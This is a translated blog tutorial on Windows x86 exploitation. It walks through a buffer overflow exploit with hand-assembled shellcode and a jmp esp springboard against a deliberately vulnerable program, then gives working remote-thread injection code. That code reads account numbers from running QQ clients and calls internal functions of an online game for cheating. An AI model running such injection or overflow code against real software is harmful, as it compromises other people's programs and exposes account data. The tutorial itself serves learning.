shellcode, buffer overflow vulnerability and remote call

1. Hiding stack calls

Before learning shellcode,

We first use the knowledge we have learned before to construct an interesting call. Of course, this is based on the premise of completing our previous stack courses.

For example, our normal call process is as follows:

main---->func2---->func1---->func0

Then, there is no doubt that there will be 3 return addresses in the stack, namely:

When main call func2, the eip of push is the address where func2 returns to the main function after execution.

When func2 calls func1, the eip of push is the address where func1 returns to the func2 function after execution.

When func1 calls func0, the eip of push is the address where func0 returns to the func1 function after execution.

We still need to implement such a call sequence, but do not allow the return to appear in the stack, and the complete call process cannot be viewed directly by ctrl+F9.

So how to do it?

The process and principle are actually very easy. The main function calls func2 normally, as long as we modify eip to point to func1 when func2 is executed.

When func1 is executed, modify eip to point to func0, and then func0 is executed and let it return to the main function smoothly.

This process is very simple, the only error-prone place is to maintain the stack, that is, esp, and save the address and ebp of the return main function.

esp error stack imbalance will definitely crash,

The return address of the main function is wrong, the program must be disordered,

If ebp is wrong, it will definitely affect the code behind the main function and the code that calls the main function.

So pay attention to these 3 points!

So let's implement the code:



DWORD preturnmain;
DWORD returnmainebp;
typedef void (*PFUNC)();
void func0();
void func1();
void func2();
PFUNC m_pfunc0 = func0;
PFUNC m_pfunc1 = func1;
PFUNC m_pfunc2 = func2;



void func0()
{
cout << "func0" << endl;
DWORD falseret;
__asm
{
mov esp, ebp
pop  falseret
push preturnmain
mov ebp, returnmainebp//但是最后一层返回是需要给main函数正确的ebp的否则   main函数会出错
ret
}

}

void func1()
{
//进到这个call 我们需要注意
//我们不是call进来的   而是push地址ret 相当于eip直接指进来的  所有没有push eip  堆栈里没有返回到这一条
//而且我们调用不会原路返回所以不需要保存ebp
cout << "func1" << endl;
DWORD falseret;
__asm
{
mov esp,ebp//所以EBP指向的位置 下一条没有返回到的地址   而又不需要保存ebp 这条就当返回到用了
pop  falseret//弹出假的返回地址
push func0
ret
}
}

void func2()
{
cout << "func2" << endl;
__asm
{
mov esp,ebp
pop returnmainebp
pop preturnmain

push func1
ret
}
}

int main()
{
cout << m_pfunc2 << endl;//输出 func2的地址 方便我们OD观察调试
cin.get();
func2();
cout << "main" << endl;

return 0;

}

Remarks written very clearly

This kind of calling method cannot directly see the complete calling process through the stack or ctrl+f9, only F7 can reverse the process step by step

For example, ctrl+F9 in func2 is in func1, which is different from the understanding of normal ctrl+f9

ctrl+f9 in func0 goes directly to the main function

If we write all the call processes like this, it will play a great role in protection, anti-cracking and anti-plug-in!

At the same time, the shellcode attack using the buffer overflow vulnerability also uses the previous principle.

To put it simply, the eip is modified to let the cpu execute our code.

2. Buffer overflow vulnerability

The principle of stack overflow:

Many programs will accept external input from the user, especially when an array buffer within the function accepts user input, once the program code does not check the validity of the input length, the buffer overflow may be triggered!

For example, the following simple function:

void  stackoverflow(char* arg1)//函数中存在缓存区溢出漏洞
{
char buffer[8];
strcpy(buffer, arg1);
DWORD old;
VirtualProtect((PVOID)buffer, 200, PAGE_EXECUTE_READWRITE, &old);// 这里模拟已经提升好可执行权限

printf("%s", buffer);
getchar();

}

Since strcpy_s internally judges the copy size and adds overflow protection, if you want to overflow the stack in the above example, you must use strcpy, you can add the following code:

#define _CRT_SECURE_NO_WARNINGS 1

#pragma warning(disable:4996) //Ignore the warning

This function allocates a buffer of 8 bytes, then copies the incoming string into the buffer through the strcpy function, and finally outputs it. If the incoming string is greater than 8, overflow will occur and the stack will be overwritten backwards. If the information in the file is just some garbled codes, it will cause the program to crash at most. If a piece of well-designed code is passed in, the computer may go back and execute this attack code.

We have studied in detail how the stack is arranged

buffer is a local variable, the address is the stack address, when strcpy exceeds its 8 bytes, it will overwrite the data below the stack

Next are other local variables, then ebp, then the return address, then the parameters.

As long as we overwrite the return address with the code address we want to execute, we can let the function execute our code smoothly when it returns.

3. What is shellcode

Above we use the buffer overflow vulnerability to overwrite the return address and let the CPU execute our code at the corresponding location

Our code is written to memory as binary data.

This piece of binary data that is both code and data is called Shellcode.

In fact, shellcode is an executable binary code. That is, machine language. The code we wrote can be decompiled into binary. However, this code has many requirements.

For example, there can be no parameters, etc., we are groping in the process of writing,

For example, you cannot use global variables

Strings cannot be used, because they are also global constants, and they need to be written as character arrays, which are local variables

The above buffer overflow vulnerability must be attacked from the outside, and the shellcode must be written into the memory of the target process

We can apply for memory writing remotely in the target process, or construct it directly in the stack

Since a buffer overflow can overwrite the return address, it can also overwrite our shellcode on the stack

At that time, the address of the shellcode covered in the stack cannot be determined. If it is troublesome to determine the address, what should I do?

we can use springboard

The principle is simple:

Our stack is overwritten from the buffer like this

Buffer and other local variable addresses and ebp==== are overwritten with arbitrary values

Return to ==== cover to jump to a jmp esp instruction

Returning to the bottom is the start of arg1 ==== covered by our shellcode

In this way, when the function returns, it will jump to the jmp esp instruction, and this instruction will jump to our shellcode to directly

This sentence jmp esp is the springboard

4. Find the shellcode springboard

We can search for such an instruction in the system module


DWORD findjmpesp()
{

HMODULE user32Handle = LoadLibraryA("user32");

BYTE* ptr = (BYTE*)user32Handle;

for (int i = 0;; i++)
{
try
{
if (ptr[i] == 0xFF && ptr[i + 1] == 0xE4)
{
cout << hex;
cout << "跳板地址:"<<(DWORD)((int)ptr + i) << endl;
return (DWORD)((int)ptr + i);
}
}
catch (...)
{

}
}
}

In this way we can construct the shellcode

We write the API functions used by shellcode as constants first, and then we write the general methods later.

void  getapiaddr()
{
HMODULE user32Handle = LoadLibraryA("user32");//0x774A0000
cout <<"user32.dll模块句柄:"<< user32Handle << endl;
FARPROC pMessageBoxA = GetProcAddress(user32Handle, "MessageBoxA");//0x77520BA0
cout << "MessageBoxA函数地址:"<<pMessageBoxA << endl;
HMODULE kernel32Handle = LoadLibraryA("kernel32");//0x75ED0000
cout << "kernel32.dll模块句柄:"<<kernel32Handle << endl;
FARPROC pExitProcess = GetProcAddress(kernel32Handle, "ExitProcess");//0x75EF4100
cout << "ExitProcess函数地址:"<< pExitProcess << endl;

}

5. Write shellcode

The preparations are complete, we start writing shellcode

_asm
{
sub esp, 0x50 
xor ebx,ebx

push 0x0021C9B7
push 0xF1C4CEC8 // push "C8 CE C4 F1 B7 C9 21 00"
mov eax, esp   //标题字符串指针

        push 0x00 
push 0x21D5B1D8
push 0xB9ABBDB4
push 0xBC21F7BB
push 0xA5B9BBB1   // push "B1 BB B9 A5 BB F7 21 BC B4 BD AB  B9 D8 B1 D5 21"
mov ecx, esp      //内容字符串指针  

push ebx
push eax
push ecx
push ebx 
mov eax, 0x77520BA0
call eax        // call MessageBox
push ebx 
mov eax, 0x75EF4100
call eax       // call ExitProcess
}

Issues that need attention here

Our shellcode cannot have 00, otherwise strcpy will end early, so the above code ends with the string 00, we need to modify it to other code forms

The 00 at the end of the string is replaced by the register ebx

The constant 0x75EF4100 ending in 00

We write 0x75EF4112

Then sub 0x12

Bundle

changed to

so there is no 00

_asm
{
sub esp, 0x50 
xor ebx,ebx

push ebx
push 0x2121C9B7
push 0xF1C4CEC8 // push "C8 CE C4 F1 B7 C9 21 00"
mov eax, esp   //标题字符串指针

push ebx
push 0x21D5B1D8
push 0xB9ABBDB4
push 0xBC21F7BB
push 0xA5B9BBB1   // push "B1 BB B9 A5 BB F7 21 BC B4 BD AB  B9 D8 B1 D5 21"
mov ecx, esp      //内容字符串指针  

push ebx
push eax
push ecx
push ebx 
mov eax, 0x77520BA0
call eax        // call MessageBox
push ebx 
mov eax, 0x75EF4112
        sub eax,0x12
call eax       // call ExitProcess
}

Then we convert the assembly code into binary machine code, which is shellcode

{0x83, 0xEC ,0x50 ,0x33 ,0xDB ,0x53 ,0x68 ,0xB7 ,0xC9 ,0x21 ,0x21 ,0x68 ,0xC8 ,0xCE ,

0xC4, 0xF1 ,0x8B ,0xC4 ,0x53 ,0x68 ,0xD8 ,0xB1 ,0xD5 ,0x21 ,0x68 ,0xB4 ,0xBD ,0xAB ,

0xB9 ,0x68 ,0xBB ,0xF7 ,0x21 ,0xBC ,0x68 ,0xB1 ,0xBB ,0xB9 ,0xA5 ,0x8B ,0xCC ,0x53 ,

0x50 ,0x51 ,0x53 ,0xB8 ,0xA0 ,0x0B ,0x52 ,0x77 ,0x8B ,0xC0 ,0xFF ,0xD0 ,0x53 ,0xB8 ,

0x12 ,0x41 ,0xEF ,0x75 ,0x83 ,0xE8,0x12,0x8B,0xC0,0xFF ,0xD0}

The buffer data we fill

In addition to shellcode

There are also the previous local variables that can be filled in casually and the return address 0x7755c02b to be filled in

So the complete byte set is as follows

The size of the local variable space requires our OD to additionally check and continuously adjust the test

{

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41

,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41

,0x2B,0xC0,0x55,0x77,

0x83, 0xEC ,0x50 ,0x33 ,0xDB ,0x53 ,0x68 ,0xB7 ,0xC9 ,0x21 ,0x21 ,0x68 ,0xC8 ,0xCE ,

0xC4, 0xF1 ,0x8B ,0xC4 ,0x53 ,0x68 ,0xD8 ,0xB1 ,0xD5 ,0x21 ,0x68 ,0xB4 ,0xBD ,0xAB ,

0xB9 ,0x68 ,0xBB ,0xF7 ,0x21 ,0xBC ,0x68 ,0xB1 ,0xBB ,0xB9 ,0xA5 ,0x8B ,0xCC ,0x53 ,

0x50 ,0x51 ,0x53 ,0xB8 ,0xA0 ,0x0B ,0x52 ,0x77 ,0x8B ,0xC0 ,0xFF ,0xD0 ,0x53 ,0xB8 ,

0x12 ,0x41 ,0xEF ,0x75 ,0x83 ,0xE8,0x12,0x8B,0xC0,0xFF ,0xD0}

this time will go wrong

The reason is that there is a placeholder local variable inside the function [ebp-4]

He will check whether it is CC, if it is CC, it means normal, if it is not CC, it means that there is a variable out of bounds

then we put

Change this position to CC

At the same time, the GS test of vs will also check whether our ebp value is correct, we will turn it off directly here

Right-click----C/C++----Code Generation----Security Check----Disable Security Check GS-

char shellcode[] =

{

0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41

,0xCC,0xCC,0xCC,0xCC,0x41,0x41,0x41,0x41

,0x2B,0xC0,0x55,0x77,

0x83, 0xEC ,0x50 ,0x33 ,0xDB ,0x53 ,0x68 ,0xB7 ,0xC9 ,0x21 ,0x21 ,0x68 ,0xC8 ,0xCE ,

0xC4, 0xF1 ,0x8B ,0xC4 ,0x53 ,0x68 ,0xD8 ,0xB1 ,0xD5 ,0x21 ,0x68 ,0xB4 ,0xBD ,0xAB ,

0xB9 ,0x68 ,0xBB ,0xF7 ,0x21 ,0xBC ,0x68 ,0xB1 ,0xBB ,0xB9 ,0xA5 ,0x8B ,0xCC ,0x53 ,

0x50 ,0x51 ,0x53 ,0xB8 ,0xA0 ,0x0B ,0x52 ,0x77 ,0x8B ,0xC0 ,0xFF ,0xD0 ,0x53 ,0xB8 ,

0x12 ,0x41 ,0xEF ,0x75 ,0x83 ,0xE8,0x12,0x8B,0xC0,0xFF ,0xD0 };

The complete code is as follows:




#define _CRT_SECURE_NO_WARNINGS 1
#pragma warning(disable:4996)


DWORD findjmpesp()
{

HMODULE user32Handle = LoadLibraryA("user32");

BYTE* ptr = (BYTE*)user32Handle;

for (int i = 0;; i++)
{
try
{
if (ptr[i] == 0xFF && ptr[i + 1] == 0xE4)
{
cout << hex;
cout << "跳板地址:"<<(DWORD)((int)ptr + i) << endl;
return (DWORD)((int)ptr + i);
}
}
catch (...)
{

}
}
}

void  getapiaddr()
{
HMODULE user32Handle = LoadLibraryA("user32");//0x774A0000
cout <<"user32.dll模块句柄:"<< user32Handle << endl;
FARPROC pMessageBoxA = GetProcAddress(user32Handle, "MessageBoxA");//0x77520BA0
cout << "MessageBoxA函数地址:"<<pMessageBoxA << endl;

HMODULE kernel32Handle = LoadLibraryA("kernel32");//0x75ED0000
cout << "kernel32.dll模块句柄:"<<kernel32Handle << endl;
FARPROC pExitProcess = GetProcAddress(kernel32Handle, "ExitProcess");//0x75EF4100
cout << "ExitProcess函数地址:"<< pExitProcess << endl;
}

char shellcode[] =
{
0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41
,0xCC,0xCC,0xCC,0xCC,0x41,0x41,0x41,0x41
,0x2B,0xC0,0x55,0x77,
0x83, 0xEC ,0x50 ,0x33 ,0xDB ,0x53 ,0x68 ,0xB7 ,0xC9 ,0x21 ,0x21 ,0x68 ,0xC8 ,0xCE ,
0xC4, 0xF1 ,0x8B ,0xC4 ,0x53 ,0x68 ,0xD8 ,0xB1 ,0xD5 ,0x21 ,0x68 ,0xB4 ,0xBD ,0xAB ,
0xB9 ,0x68 ,0xBB ,0xF7 ,0x21 ,0xBC ,0x68 ,0xB1 ,0xBB ,0xB9 ,0xA5 ,0x8B ,0xCC ,0x53 ,
0x50 ,0x51 ,0x53 ,0xB8 ,0xA0 ,0x0B ,0x52 ,0x77 ,0x8B ,0xC0 ,0xFF ,0xD0 ,0x53 ,0xB8 ,
0x12 ,0x41 ,0xEF ,0x75 ,0x83 ,0xE8,0x12,0x8B,0xC0,0xFF ,0xD0 };



void  stackoverflow(char* arg1)//函数中存在缓存区溢出漏洞
{
char buffer[8];
strcpy(buffer, arg1);

DWORD old;
VirtualProtect((PVOID)buffer, 200, PAGE_EXECUTE_READWRITE, &old);// 这里模拟已经提升好可执行权限

printf("%s", buffer);
getchar();

}



int main()
{

DWORD pjmpespr = findjmpesp();
DWORD old1 = 0;
VirtualProtect((PVOID)pjmpespr, 200, PAGE_EXECUTE_READWRITE, &old1);//正常找一块可执行的位置
getapiaddr();

cout << "stackoverflow函数地址:"<<stackoverflow << endl;
cin.get();
stackoverflow(shellcode);
return 0;


}

6. Shellcode exercise, X64 replaces inline assembly

Requirements, we write the addition operation as a shellcode call

__asm

{

push ebp

mov ebp, esp

sub esp, 10h

push ecx

mov eax, [ebp + 8]

mov ecx, [ebp + 0xC]

add eax, ecx

pop ecx

mov esp, ebp

pop ebp

ret

}


//push ebp
//mov ebp, esp
//sub esp, 10h
//push ecx
//mov eax, [ebp + 8]
//mov ecx, [ebp + 0xC]
//add eax, ecx
//pop ecx
//mov esp, ebp
//pop ebp
//ret
typedef int (*PFN)(int, int);
int main()
{
char code[] =
{
0x55,0x8B,0xEC,0x83,0xEC,0x10 ,0x51 ,0x8B ,0x45 ,0x08 ,0x8B ,0x4D ,0x0C ,0x03 ,0xC1 ,0x59 ,0x8B ,0xE5 ,0x5D ,0xC3
};
PFN pfn = (PFN)((char*)code);
DWORD old = 0;
VirtualProtect((PVOID)code, 100, PAGE_EXECUTE_READWRITE, &old);
int fnret = pfn(1, 2);
cout << fnret << endl;

return 0;

We found that X64 can replace inline assembly with shellcode

7. Remote shellcode injection

When we don't inject, we can inject remote shellcode across processes to execute commands or call

The process is very simple

It is to apply for memory remotely and write it into our shellcode

Then execute remotely

For example, get our penguin number across processes

The code is as follows, and the notes are very detailed:



void getPushBin(int arg, LPVOID & pShellCode, HANDLE hProcess)
{
if (arg >= -128 && arg <= 127)//例如push  1  两字节
{
unsigned char code = { 106 };
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&arg, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
}
else {
unsigned char code = { 104 };//例如push  1111  4字节
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&arg, 4, NULL);
pShellCode = LPVOID((int)pShellCode + 4);
}
}
void getCallBin(int Calladdr, LPVOID& pShellCode, HANDLE hProcess)
{
unsigned char code = { 232 };// call  xxxx
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
int arg = Calladdr - (int)pShellCode - 5;
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&arg, 4, NULL);
pShellCode = LPVOID((int)pShellCode + 4);
}
void getmovecxBin(int arg, LPVOID& pShellCode, HANDLE hProcess)
{
unsigned char code = { 185 };// mov ecx,xxxx
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&arg, 4, NULL);
pShellCode = LPVOID((int)pShellCode + 4);
}


void getresEaxBin(int src, LPVOID& pShellCode, HANDLE hProcess)
{
unsigned char code = { 163 };
WriteProcessMemory(hProcess, pShellCode, &code, 1, NULL);
pShellCode = LPVOID((int)pShellCode + 1);
WriteProcessMemory(hProcess, pShellCode, (LPVOID)&src, 4, NULL);
pShellCode = LPVOID((int)pShellCode + 4);
}
DWORD CallFunction(HANDLE hProcess, DWORD pFunc, DWORD arg1 = 0, DWORD arg2 = 0, DWORD arg3 = 0, DWORD arg4 = 0, DWORD arg5 = 0, DWORD arg6 = 0, DWORD ecx = 0);
DWORD CallFunction(HANDLE hProcess, DWORD pFunc, DWORD arg1 , DWORD arg2 , DWORD arg3 , DWORD arg4 , DWORD arg5 , DWORD arg6 , DWORD ecx )
{
LPVOID pShellCodeStart = VirtualAllocEx(hProcess, NULL, 0x200, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
LPVOID pShellCode = pShellCodeStart;
LPVOID resEax = VirtualAllocEx(hProcess, NULL, 4, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

//构造call头部
//push ebp
//mov ebp, esp
//sub esp, 0x3c
unsigned char pfunHead[6] = { 85,139,236,131,236,60 };
SIZE_T codelen = sizeof(pfunHead);
WriteProcessMemory(hProcess, pShellCode, pfunHead, codelen, NULL);
pShellCode = LPVOID((DWORD)pShellCode + codelen);

getPushBin(arg6, pShellCode, hProcess);
getPushBin(arg5, pShellCode, hProcess);
getPushBin(arg4, pShellCode, hProcess);
getPushBin(arg3, pShellCode, hProcess);
getPushBin(arg2, pShellCode, hProcess);
getPushBin(arg1, pShellCode, hProcess);

//构造ecx
getmovecxBin(ecx, pShellCode, hProcess);


//构造call 
getCallBin(pFunc, pShellCode, hProcess);
 
//构造 mov dword[resEax], eax
getresEaxBin((int)resEax, pShellCode, hProcess);

//构造尾部
//add esp, 0x3c
//mov esp, ebp
//pop ebp
//ret
unsigned char pfunEnd[] = { 131,196,60,139,229,93,195 };
codelen = sizeof(pfunEnd);
WriteProcessMemory(hProcess, pShellCode, pfunEnd, codelen, NULL);
pShellCode = LPVOID((int)pShellCode + codelen);


//创建远程线程 执行代码
DWORD Tid;
HANDLE tHandle = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pShellCodeStart, NULL, NULL, &Tid);
if (!tHandle)
{
VirtualFreeEx(hProcess, resEax, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pShellCodeStart, 0, MEM_RELEASE);
cout << "执行call失败!" << endl;
return -1;
}
WaitForSingleObject(tHandle, -1);//等待执行结束

int resa = 0;
ReadProcessMemory(hProcess, resEax, &resa, 4, 0);
VirtualFreeEx(hProcess, resEax, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pShellCodeStart, 0, MEM_RELEASE);
return resa;
}

int main()
{


DWORD PID = 0;
HWND tempHGame = ::FindWindowA(0, "QQ");//TXGuiFoundation,QQ
while (tempHGame != 0)//遍历多开QQ
{
GetWindowThreadProcessId(tempHGame, &PID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, PID);
HMODULE hModule = LoadLibraryA("kernel32.dll");//同电脑加载地址相同
DWORD pGetModuleHandleA = (DWORD)GetProcAddress(hModule, "GetModuleHandleA");
DWORD pGetProcAddress = (DWORD)GetProcAddress(hModule, "GetProcAddress");

//QQKernelUtil.dll模块下的?GetSelfUin@Contact@Util@@YAKXZ函数返回QQ号
char dllName[] = "KernelUtil.dll";
char funName[] = "?GetSelfUin@Contact@Util@@YAKXZ";
LPVOID pDllName = VirtualAllocEx(hProcess, NULL, sizeof(dllName), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//进程句柄,NULL自动分配,大小,为特定的页面区域分配内存中或磁盘的页面文件中的物理存储,页面属性
WriteProcessMemory(hProcess, pDllName, &dllName, sizeof(dllName), 0);
LPVOID pFunName = VirtualAllocEx(hProcess, NULL, sizeof(funName), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pFunName, &funName, sizeof(funName), 0);

DWORD kernelMoudle = CallFunction(hProcess, pGetModuleHandleA, (DWORD)pDllName);//执行GetModuleHandleA 参数"KernelUtil.dll"返回句柄
DWORD pGetSelfUin = CallFunction(hProcess, pGetProcAddress, kernelMoudle, (DWORD)pFunName);
//调用GetProcAddress  参数1 KernelUtil.dll模块句柄  参数2 字符串"?GetSelfUin@Contact@Util@@YAKXZ"  返回?GetSelfUin@Contact@Util@@YAKXZ的地址
DWORD qq = CallFunction(hProcess, pGetSelfUin);//调用?GetSelfUin@Contact@Util@@YAKXZ 无参数  返回QQ号

CloseHandle(hProcess);
cout << "QQ:"<<qq<<endl;
tempHGame = ::FindWindowExA(NULL, tempHGame, 0, "QQ");
}

cin.get();
return 0;

}

8. Remote call call

For example:

meditate call

push 1

mov eax,[00D0DF1C]

mov ecx,[eax+1c]

mov ecx,[ecx+28]

mov eax,0x0047E7E0

call eax

int main()
{
DWORD PID = 0;
HWND tempHGame = ::FindWindowA(0, "口袋西游");//XYElementClient Window,口袋西游
while (tempHGame != 0)
{
GetWindowThreadProcessId(tempHGame, &PID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, PID);
DWORD ecx;
DWORD Temp;
ReadProcessMemory(hProcess,(LPCVOID)0x00D0DF1C,&ecx,4,&Temp);
ReadProcessMemory(hProcess, (LPCVOID)(ecx+0x1c), &ecx, 4, &Temp);
ReadProcessMemory(hProcess, (LPCVOID)(ecx + 0x28), &ecx, 4, &Temp);
cout << hex;
cout << "ecx=" << ecx << endl;

CallFunction(hProcess, 0x0047E7E0,1,0,0,0,0,0,ecx);

CloseHandle(hProcess);
cout << "执行完毕"<< endl;
tempHGame = ::FindWindowExA(NULL, tempHGame, 0, "口袋西游");
}

cin.get();
return 0;
}

Meditate successfully

Guess you like

Origin blog.csdn.net/qq_43355637/article/details/129018648